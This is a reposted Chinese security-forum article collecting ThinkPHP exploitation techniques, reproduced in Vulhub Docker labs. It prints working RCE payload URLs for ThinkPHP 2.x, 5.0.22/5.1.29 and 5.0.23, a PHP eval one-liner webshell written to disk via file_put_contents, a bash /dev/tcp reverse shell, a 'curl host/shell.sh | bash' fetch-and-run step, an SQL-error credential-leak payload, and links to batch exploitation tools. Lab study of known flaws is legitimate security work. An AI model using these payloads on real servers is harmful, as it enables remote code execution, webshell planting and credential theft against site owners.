问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
ThinkPHP渗透思路合集
漏洞分析
ThinkPHP总结
前言 == ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为 ThinkPHP 它遵循 Apache2开源协议发布,从 Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了 Struts的思想和 TagLib(标签库)、RoR的ORM映射和 ActiveRecord模式。 ThinkPHP可在 Windows和 Linux等操作系统运行,支持 MySql,Sqlite和 PostgreSQL等多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。 同时ThinkPHP是一个免费开源用户数量非常多的一个PHP开发框架 本地安装 ---- 官网:<http://www.thinkphp.cn/down.html> 经典的版本就是这四大类  安装vc9\_x86(必装)  安装phpstudy-2016  把Thinkphp的包搞到WWW目录下  这里要注意一下 默认的Thinkphp框架下是有`robots.txt`的  存在信息泄露的 写入的shell或者一句话 也是在这个目录下 ```php C:\phpStudy\WWW\a001\public ``` 然后存放日志的目录 是这个 ```php C:\phpStudy\WWW\a001\thinkphp\library\think\log ```  要对外访问的嘛 所以要配置域名 这里要注意 目录要选到public目录下 这样才能识别到这个目录下的`router.php`    这里也可以不用IP 如果你没有用IP的话 就要去改一下hosts文件 然后新增 保存一下  然后远程访问一下  本地漏洞复现 ------ ### Poc1-phpinfo ```php /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo ```  ### Poc2-写入一句话 ```php <?php e val($_POST['a']);?> ``` 进行URL编码  最后的payload ```php /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%61%27%5d%29%3b%3f%3e ``` 执行一下  这样子就是执行成功的 去底层看一下 这个`shell.php`是被写到哪个目录下了  是成功写入的 蚁剑连接一下   可以看到是成功的 Vulhub-Thinkphp复现 ----------------- ### Thinkphp 2.x 任意代码执行漏洞 #### 漏洞原理 ThinkPHP2.x版本中,使用 `preg_replace`的`/e`模式匹配路由 ```php $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr, $paths)); ``` 导致用户的输入参数被插入`双引号`中执行,造成任意代码执行漏洞 **ThinkPHP3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞** #### 影响版本 ThinkPHP 2.x #### 漏洞原理详解 由于是`preg_replace`这个函数引起的漏洞,所以先来看看`preg_replace`这个函数 这个函数是个替换函数,而且支持正则,使用方式如下 ```php preg_replace('正则规则','替换字符','目标字符') ``` 这个函数的3个参数,结合起来的意思是: 如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了`/e`这个修饰符,则存在代码执行漏洞 ```php e -->配合函数preg_replace()使用,可以把匹配来的字符串当作正则表达式执行 /e-->可执行模式,此为PHP专有参数,例如 preg_replace函数。 ``` 本地测试直接使用下面这行代码测试即可 沙箱地址:<http://sandbox.onlinephpfunctions.com/> #### 漏洞复现 ```php cd vulhub-master/thinkphp/2-rcesudo docker-compose up -d ```  访问一下  #### 在线沙箱 进行尝试 沙箱地址: <http://sandbox.onlinephpfunctions.com/> ```php <?php@preg_replace('/test/e','print_r("a001");','just test'); ``` 7.0以下的版本 存在/e 就可以任意代码执行   #### 代码审计-docker底层分析  找寻一下这个函数 ```php find . -name '*.php' | xargs grep -n 'preg_replace' ``` 复制出来 搞到本地  存在`/e`修饰符的脚本 ```php ./ThinkPHP/Mode/Lite/Dispatcher.class.php:115: $res = preg_replace('@(\w+)'.C('URL_PATHINFO_DEPR').'([^,\/]+)@e', '$pathInfo[\'\\1\']="\\2";', $_SERVER['PATH_INFO']);./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:57: $rule = preg_replace('/{\$(_\w+)\.(\w+)\|(\w+)}/e',"\\3(\$\\1['\\2'])",$rule);./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:58: $rule = preg_replace('/{\$(_\w+)\.(\w+)}/e',"\$\\1['\\2']",$rule);./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:60: $rule = preg_replace('/{(\w+)\|(\w+)}/e',"\\2(\$_GET['\\1'])",$rule);./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:61: $rule = preg_replace('/{(\w+)}/e',"\$_GET['\\1']",$rule);./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:68: $rule = preg_replace('/{|(\w+)}/e',"\\1()",$rule);./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:102: $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:224: $res = preg_replace('@(\w+)\/([^,\/]+)@e', '$var[\'\\1\']="\\2";', implode('/',$paths));./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:239: $res = preg_replace('@(\w+)\/([^,\/]+)@e', '$var[\'\\1\']="\\2";', str_replace($matches[0],'',$regx));./ThinkPHP/Common/extend.php:215: $str = preg_replace('#color="(.*?)"#', 'style="color: \\1"', $str);./ThinkPHP/Common/functions.php:145: return ucfirst(preg_replace("/_([a-zA-Z])/e", "strtoupper('\\1')", $name)); ``` 漏洞的关键就是这里了 代码位置就是在这里了  #### 漏洞验证 ```php /index.php?s=/index/index/name/${@phpinfo()} ``` ```php /index.php?s=/index/index/name/$%7B@phpinfo()%7D ```  #### Poc ```php /index.php?s=a/b/c/${@print(e val($_POST[1]))} ``` 进行抓包 改成POST的包  ```php 1=system('id'); ``` 执行成功  #### 反弹shell ```php bash -i >& /dev/tcp/192.168.175.130/8888 0>&1 ```   nc开启监听 ```php nc -lvvp 8888 ```  python开启http服务 ```php python -m SimpleHTTPServer 9999 ```  进行执行 ```php 1=system("curl 192.168.175.130:9999/shell.sh | bash"); ```  nc拿到shell  蚁剑连接的话 ```php http://192.168.175.209:8080/index.php?s=a/b/c/${@print(e val($_POST[1]))} ```   ### Thinkphp5-5.0.22/5.1.29远程代码执行漏洞 #### 漏洞原理 ThinkPHP是在中国使用极为广泛的PHP开发框架。在其版本5中,由于框架错误地处理了控制器名称,因此如果网站未启用强制路由(默认设置),则该框架可以执行任何方法,从而导致RCE漏洞。 #### 影响版本: ```php 5.0.22/5.1.29 ``` #### 漏洞复现 ```php cd vulhub-master/thinkphp/5-rcesudo docker-compose up -d ```  成功访问  #### 漏洞验证 ```php /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo ```  #### 任意代码执行 ```php /index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami ```   #### 写入webshell ```php <?php e val($_POST['a']);?>URL编码%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%61%27%5d%29%3b%3f%3e ```  最后的payload-->shell.php ```php /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%61%27%5d%29%3b%3f%3e ``` 写入成功  去docker底层看一下  蚁剑连接  ### Thinkphp5.0.23远程代码执行漏洞 #### 漏洞原理 ThinkPHP是在中国使用极为广泛的PHP开发框架。在其版本5.0(<5.0.24)中,框架在获取请求方法时会错误地对其进行处理,就是在获取 method的方法中没有正确处理方法名,这使攻击者可以调用 Request类的任何方法,攻击者可以调用 Request类任意方法并构造利用链,从而导致远程代码执行漏洞 #### 影响版本 ```php Thinkphp5.0.0~5.0.23 ``` #### 影响版本 ```php Thinkphp 5.0.0~ 5.0.23 ``` #### 漏洞复现 ```php cd vulhub-master/thinkphp/5.0.23-rcesudo docker-compose up -d ```  访问一下靶机  #### 漏洞验证 进行抓包 进行转换   这里给出完整的数据包 ```php POST /index.php?s=captcha HTTP/1.1Host: 192.168.175.209:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0Accept: text/html,application/xhtml+x ml,application/x ml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Pragma: no-cacheCache-Control: no-cacheContent-Type: application/x-www-form-urlencodedContent-Length: 72_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id ``` #### 反弹shell 把反弹shell 写到shell.sh中  python开启http服务 ```php python -m SimpleHTTPServer 9999 ``` nc开启监听 ```php nc -vlp 8888 ``` 进行执行 ```php curl 192.168.175.130:9999/shell.sh | bash ```  成功反弹shell  ### Thinkphp敏感信息泄露 #### 漏洞原理 传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而 thinkphp5默认开启debug模式,在漏洞环境下构造错误旳SQL语法会泄漏数据库账户和密码。 #### 影响版本 ```php ThinkPhP <5.1.23 ``` #### 源码分析 ```php <?phpnamespace app\index\controller;use app\index\model\User;class Index{ public function index() { $ids = input('ids/a'); $t = new User(); $result = $t->where('id', 'in', $ids)->select();}} ``` 由上述代码可知,这里用助手函数input定义了参数ids的类型是数组 ```php protected function parseMhere ($where, $options){ $whereStr = $this -> buildWhere($where, $options); if (! empty($options['soft_delete '])) { list ($field, $condition) = $options['soft_delete']; $binds = $this -> query ->getF ieldsBind($optlons); $whereStr = $whereStr ? '(' .$whereStr . ') AND ' : ' '; $whereStr = $whereStr. $this -> parseWhereIten($field, $condition, ' ', $options, $binds); } return empty($wherestr) ? ' ' : ' WHERE ' . $uhereStr;} ``` 接着去找 `where('id','in',$ids)`定义的内容,找到了最核心的方法 buildWhere和 parseWhereltem 接着找到定义`'in'`的位置 ```php <?php...$bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field);if (preg_match('/\W/', $bindName)) {//处理带非单词字符的字段名 $bindName = md5($bindName);}...} elseif (in_array($exp, ['NOT IN', 'IN'])) { // IN ັᧃ if ($value instanceof \Closure) { $whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value); } else { $value = is_array($value) ? $value : explode(',', $value); if (array_key_exists($field, $binds)) { $bind = []; $array = []; foreach ($value as $k => $v) { if ($this->query->isBind($bindName . '_in_' . $k)) { $bindKey = $bindName . '_in_' . uniqid() . '_' . $k; } else { $bindKey = $bindName . '_in_' . $k; } $bind[$bindKey] = [$v, $bindType]; $array[] = ':' . $bindKey; } $this->query->bind($bind); $zone = implode(',', $array); } else { $zone = implode(',', $this->parse value($value, $field)); } $whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')'; } ``` 这段代码当引入了in或者 not in的时候遍历value的key和 value。 而key在绑定编译指令的时候又没有安全处理,所以导致了在预编译的时候SQL异常。 #### 漏洞复现 这边在kali上用P牛的靶场 乌班图那边有点问题 kali安装docker ```php sudo apt install docker-compose ``` ```php sudo systemctl start docker #启动dockercd /vulhub-master/thinkphp/in-sqlinjectionsudo docker-compose up -d ```   进行访问 #### 漏洞验证 ```php /index.php?ids[]=1&ids[]=2 ```  #### Poc ```php /index.php?ids[0,updatex ml(0,concat(0xa,user()),0)]=1 ```  枚举到数据库的账号和密码 Thinkphp自动化武器 ------------- ### Thinkphp综合利用工具  ### ThinkPHPBatchPoc群扫 执行看一下  可以去底层看一下 我们可以手动添加Poc  它可以自动补充http头  执行 ```php -u 单个URL-f 执行文件 ``` ### TPscan  ### AttackWebF rameworkTools 项目地址:\[GitHub - Anonymous-ghost/AttackWebF rameworkTools: 本软件首先集成危害性较大前台rce(无需登录,或者登录绕过执行rce)。反序列化(利用链简单)。上传getshell。sql注入等高危漏洞直接就可以拿权限出数据。其次对一些构造复杂exp漏洞进行检测。傻瓜式导入url即可实现批量测试,能一键getshell检测绝不sql注入或者不是只检测。其中thinkphp 集成所有rce Exp Struts2漏洞集成了shack2 和k8 漏洞利用工具所有Exp并对他们的exp进行优化和修复此工具的所集成漏洞全部是基于平时实战中所得到的经验从而写入到工具里。例如:通达oA一键getshell实战测试 struts2一键getshell 等等\](<https://github.com/Anonymous-ghost/AttackWebF> rameworkTools) 需要先安装4.5的.NET F ramework  然后要新建两个文本文档  ### Thinkphp攻击武器 双击打开就可以了   文章转载于:<https://www.freebuf.com/articles/web/281149.html>
发表于 2021-07-29 14:59:39
阅读 ( 8167 )
分类:
WEB安全
1 推荐
收藏
0 条评论
请先
登录
后评论
略略略
36 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!